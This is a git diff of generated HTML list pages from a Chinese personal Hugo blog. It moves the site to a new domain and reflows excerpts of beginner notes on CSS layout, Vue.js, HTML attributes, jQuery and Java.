         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/posts/page/21/index.html b/posts/page/21/index.html
index fe2b2f34..e4c0278d 100644
--- a/posts/page/21/index.html
+++ b/posts/page/21/index.html
@@ -1,45 +1,20 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>css常见布局</h2></header><div class=entry-content><p>居中布局
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>css常见布局</h2></header><div class=entry-content><p>居中布局
 分水平居中和垂直居中，水平+垂直居中
 水平居中：当前元素在父级元素容器中，水平方向是居中显示的
 inline-block+text-algin
-#app{
-text-align: center;
-// 父元素，文本内容居中对齐
-}
-.child{
-display: inline-block;
-// 子元素，行内块级元素
-}
-优点：浏览器兼容性好（css2）
+#app{ text-align: center; // 父元素，文本内容居中对齐 } .child{ display: inline-block; // 子元素，行内块级元素 } 优点：浏览器兼容性好（css2）
 缺点：text-align具有继承性，会导致子元素的文本也是居中的
 table+margin
-.child{
-display: table; // 也可以为block
-margin: 0 auto;
-// 子元素，margin外边距，上下为0，左右为auto（浏览器自动分配）
-}
-优点：只需要对子元素设置，就可以实现效果
+.child{ display: table; // 也可以为block margin: 0 auto; // 子元素，margin外边距，上下为0，左右为auto（浏览器自动分配） } 优点：只需要对子元素设置，就可以实现效果
 缺点：如果子元素脱离正常流，将会导致margin属性的值无效化
 absolute+transform
-#app{
-position: relative; // 父元素相对定位
-}
-.child{
-position: absolute; // 子元素绝对定位，如果父元素没有定位，那么该元素是相对于页面定位，父元素定位了，那么该元素是相对于父元素的
-left: 50%; // 相对于父元素左边50% transform: translateX(-50%); // 子元素水平平移-50%（左负数，右正数）
-}
-优点：父元素是否脱离正常流，也是不影响子元素的水平居中效果
+#app{ position: relative; // 父元素相对定位 } .child{ position: absolute; // 子元素绝对定位，如果父元素没有定位，那么该元素是相对于页面定位，父元素定位了，那么该元素是相对于父元素的 left: 50%; // 相对于父元素左边50% transform: translateX(-50%); // 子元素水平平移-50%（左负数，右正数） } 优点：父元素是否脱离正常流，也是不影响子元素的水平居中效果
 缺点：transform属性是css3的新属性，浏览器兼容性比较差
 垂直居中：当前元素在父级元素容器中，垂直方向是居中显示的
 table-cell+vertical-algin
-#app{
-// 父元素
-display: table-cell;
-vertical-align: middle; // 设置文本的垂直方向对齐方式
-}
-优点：浏览器兼容性好
+#app{ // 父元素 display: table-cell; vertical-align: middle; // 设置文本的垂直方向对齐方式 } 优点：浏览器兼容性好
 缺点：vertical-align属性具有继承性
-absolute+transform...</p></div><footer class=entry-footer><span title='2021-06-16 13:23:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to css常见布局" href=https://xiaochenabc123.github.io/posts/24/></a></article><article class=post-entry><header class=entry-header><h2>vuejs基础学习笔记</h2></header><div class=entry-content><p>vuejs的核心层就是只关心视图层的，本笔记使用的是最新版本的vue3
+absolute+transform...</p></div><footer class=entry-footer><span title='2021-06-16 13:23:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to css常见布局" href=https://chenjunlinabc.github.io/posts/24/></a></article><article class=post-entry><header class=entry-header><h2>vuejs基础学习笔记</h2></header><div class=entry-content><p>vuejs的核心层就是只关心视图层的，本笔记使用的是最新版本的vue3
 vue全家桶：Vue+VueRouter+Vuex
 vue名字来源于法语（中文翻译为视图），可以看出其对视图层的重视
 导入一般都是使用cdn导入或者直接下载vuejs进行托管，也可以使用npm安装或者使用官方的CLI来构建一个应用
@@ -51,91 +26,41 @@
 bundler版本：该版本不是完整版，min
 vuejs模板支持所有JavaScript表达式
 vuejs本身是用声明式渲染把数据渲染到html dom中，渲染格式为{{…}}，例如：
-&lt;div id="app">
-&lt;p>{{ hallovuejs }}&lt;/p>
-&lt;/div>
-&lt;script>
-const hallo ={
-data() {
-return {
-hallovuejs: "hallo vuejs!"
-}
-}
-}
-Vue.createApp(hallo).mount("#app")
-&lt;/script>
-vue本身携带了一些指令，主要特征就是带有v-前缀，用来渲染html dom上的一些行为，例如：
-&lt;div id="app">
-&lt;a v-bind:href="url">{{ main }}&lt;/a>
-&lt;/div>
-&lt;script>
-const hallo ={
-data() {
-return {
-url:"https://xiaochenabc123.test.com",
-main: "小陈的辣鸡屋"
-}
-}
-}
-Vue.createApp(hallo).mount("#app")
-&lt;/script>
-这个v-bind:href，就是将a标签的href属性绑定，v-bind可以绑定任何属性，例如class属性等等，因此可以在视图层留下一些接口指令，让vuejs来响应式渲染出视图
+&lt;div id="app"> &lt;p>{{ hallovuejs }}&lt;/p> &lt;/div> &lt;script> const hallo ={ data() { return { hallovuejs: "hallo vuejs!" } } } Vue.createApp(hallo).mount("#app") &lt;/script> vue本身携带了一些指令，主要特征就是带有v-前缀，用来渲染html dom上的一些行为，例如：
+&lt;div id="app"> &lt;a v-bind:href="url">{{ main }}&lt;/a> &lt;/div> &lt;script> const hallo ={ data() { return { url:"https://xiaochenabc123.test.com", main: "小陈的辣鸡屋" } } } Vue.createApp(hallo).mount("#app") &lt;/script> 这个v-bind:href，就是将a标签的href属性绑定，v-bind可以绑定任何属性，例如class属性等等，因此可以在视图层留下一些接口指令，让vuejs来响应式渲染出视图
 而vue还提供了可以绑定事件的v-on属性，例如：
-&lt;div id="app">
-&lt;button v-on:click="go">{{ main }}&lt;/button>
-&lt;/div>
-&lt;script>
-const hallo ={
-data() {
-return {
-main: "hallo"
-}
-},
-methods: {
-go: function(){
-console....</p></div><footer class=entry-footer><span title='2021-06-16 10:13:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;8 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to vuejs基础学习笔记" href=https://xiaochenabc123.github.io/posts/23/></a></article><article class=post-entry><header class=entry-header><h2>HTML全局属性笔记</h2></header><div class=entry-content><p>属性
+&lt;div id="app"> &lt;button v-on:click="go">{{ main }}&lt;/button> &lt;/div> &lt;script> const hallo ={ data() { return { main: "hallo" } }, methods: { go: function(){ console....</p></div><footer class=entry-footer><span title='2021-06-16 10:13:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;8 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to vuejs基础学习笔记" href=https://chenjunlinabc.github.io/posts/23/></a></article><article class=post-entry><header class=entry-header><h2>HTML全局属性笔记</h2></header><div class=entry-content><p>属性
 accesskey
 定义快捷键获取焦点，例如
-&lt;a href="https://xiaochenabc123.test.com" accesskey="q">GO\&lt;/a>
-按ait+q，就会跳到指定的网页上
+&lt;a href="https://xiaochenabc123.test.com" accesskey="q">GO\&lt;/a> 按ait+q，就会跳到指定的网页上
 class
 定义元素的类，开头必须是字母，多个类使用空格隔开，例如
-&lt;div class = "a1 a2 a3">&lt;/div>
-id
+&lt;div class = "a1 a2 a3">&lt;/div> id
 定义一个id，id为唯一性，不能重复，例如
-&lt;div id = "a1">&lt;/div>
-lang
+&lt;div id = "a1">&lt;/div> lang
 定义网页或者元素的语言，例如
-&lt;div lang = "fr">&lt;/div>
-style
+&lt;div lang = "fr">&lt;/div> style
 定义元素的行内样式，例如
-&lt;div style="color : #fff">hi&lt;/div>
-tabindex
+&lt;div style="color : #fff">hi&lt;/div> tabindex
 指定tab键的焦点控制，例如
-&lt;a href="https://xiaochenabc123.test.com" tabindex="1">GO&lt;/a>
-使用键盘的tab键盘，触发（不会跳转到网页，只是焦点）
+&lt;a href="https://xiaochenabc123.test.com" tabindex="1">GO&lt;/a> 使用键盘的tab键盘，触发（不会跳转到网页，只是焦点）
 contenteditable
 指定元素是否为可以编辑的，例如
-&lt;div contenteditable="true">hi&lt;/div>
-dir
+&lt;div contenteditable="true">hi&lt;/div> dir
 指定元素内文本的方向，例如
-&lt;div dir = "rtl">hi&lt;/div>
-ltr默认值，从左到右
+&lt;div dir = "rtl">hi&lt;/div> ltr默认值，从左到右
 rtl，从右到左
 title
 指定元素的信息，一般为鼠标移动到元素是停留一段时间，显示信息，例如
-&lt;div title = "hi">hi&lt;/div>
-data-xxx
+&lt;div title = "hi">hi&lt;/div> data-xxx
 用于存储一些自定义属性，data-后面必须有一个字符，不包括大写
 JavaScript可以通过getAttribute获取到
 draggable
 指定元素是否可以拖动，默认情况下，只有图片和链接可以拖动
 有3个可选值，true/false/auto，在JavaScript中可以配合拖动事件，例如
-&lt;div draggable = "true">hi&lt;/div>
-hidden
+&lt;div draggable = "true">hi&lt;/div> hidden
 指定元素是否隐藏，有两个可选值，hidden/true，例如
-&lt;div hidden = "hidden">hi&lt;/div>
-contextmenu...</p></div><footer class=entry-footer><span title='2021-06-16 09:38:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to HTML全局属性笔记" href=https://xiaochenabc123.github.io/posts/22/></a></article><article class=post-entry><header class=entry-header><h2>jQuery基础学习笔记</h2></header><div class=entry-content><p>##第一个jQuery程序
+&lt;div hidden = "hidden">hi&lt;/div> contextmenu...</p></div><footer class=entry-footer><span title='2021-06-16 09:38:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to HTML全局属性笔记" href=https://chenjunlinabc.github.io/posts/22/></a></article><article class=post-entry><header class=entry-header><h2>jQuery基础学习笔记</h2></header><div class=entry-content><p>##第一个jQuery程序
 $(‘div’).html(“hello.world”);
 ##DOM对象和jQuery对象互转化
 jQuery对象和DOM对象是不一样的，但是都能操作DOM
@@ -168,7 +93,7 @@
 多项选择器
 $(“div[class=divs],a[href=“https://xiaochenabc123.test.com”)
 多项选择器就是将多个选择器用逗号组合起来
-层级选择器 $(“ul.nev li.active”)...</p></div><footer class=entry-footer><span title='2021-06-16 09:38:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to jQuery基础学习笔记" href=https://xiaochenabc123.github.io/posts/21/></a></article><article class=post-entry><header class=entry-header><h2>JAVA基础学习笔记</h2></header><div class=entry-content><p>java基于java虚拟机（Java Virtual Machine，JVM）和java应用编程接口（Application Programming Interface，API）构成
+层级选择器 $(“ul.nev li.active”)...</p></div><footer class=entry-footer><span title='2021-06-16 09:38:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to jQuery基础学习笔记" href=https://chenjunlinabc.github.io/posts/21/></a></article><article class=post-entry><header class=entry-header><h2>JAVA基础学习笔记</h2></header><div class=entry-content><p>java基于java虚拟机（Java Virtual Machine，JVM）和java应用编程接口（Application Programming Interface，API）构成
 java的跨平台得益于java虚拟机，只需要编译一次java程序，就可以在不同系统的java虚拟机上运行
 java编译成字节流，java虚拟机通过解析这些字节流来做的跨平台，编译完成得到的字节流可以在不同平台的java虚拟机上跑
 java分为Java SE、Java EE 和 Java ME。
@@ -188,7 +113,8 @@
 多行注释
 */
 /** *
-一样是多行注释 * */ java的变量的类型和JavaScript一样，变量分两种，基本类型变量和引用类型变量 java有8种基础类型，分别是整型（4种），字符型（1种），浮点型（2种），布尔型（1种）
+一样是多行注释 */
+java的变量的类型和JavaScript一样，变量分两种，基本类型变量和引用类型变量 java有8种基础类型，分别是整型（4种），字符型（1种），浮点型（2种），布尔型（1种）
 变量必须先定义，后赋值使用，例如：
 int a = 1;
 定义为int整数类型，名称为a，初始值为1
@@ -198,8 +124,8 @@
 int x = i; // 变量x的值为i，因为i的值为100，所以x的值为i
 整型
 整型类型：int，byte，short，long
-整型类型的数就是整数，整数默认为int，在数值后加上L就代表为long，例如：long abc = 123L;...</p></div><footer class=entry-footer><span title='2021-06-16 09:35:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;4 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to JAVA基础学习笔记" href=https://xiaochenabc123.github.io/posts/19/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/posts/page/20/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/posts/page/22/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+整型类型的数就是整数，整数默认为int，在数值后加上L就代表为long，例如：long abc = 123L;...</p></div><footer class=entry-footer><span title='2021-06-16 09:35:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;4 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to JAVA基础学习笔记" href=https://chenjunlinabc.github.io/posts/19/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/posts/page/20/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/posts/page/22/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/posts/page/22/index.html b/posts/page/22/index.html
index e7fb0c22..6623842b 100644
--- a/posts/page/22/index.html
+++ b/posts/page/22/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"}]}</script></head><body class=list 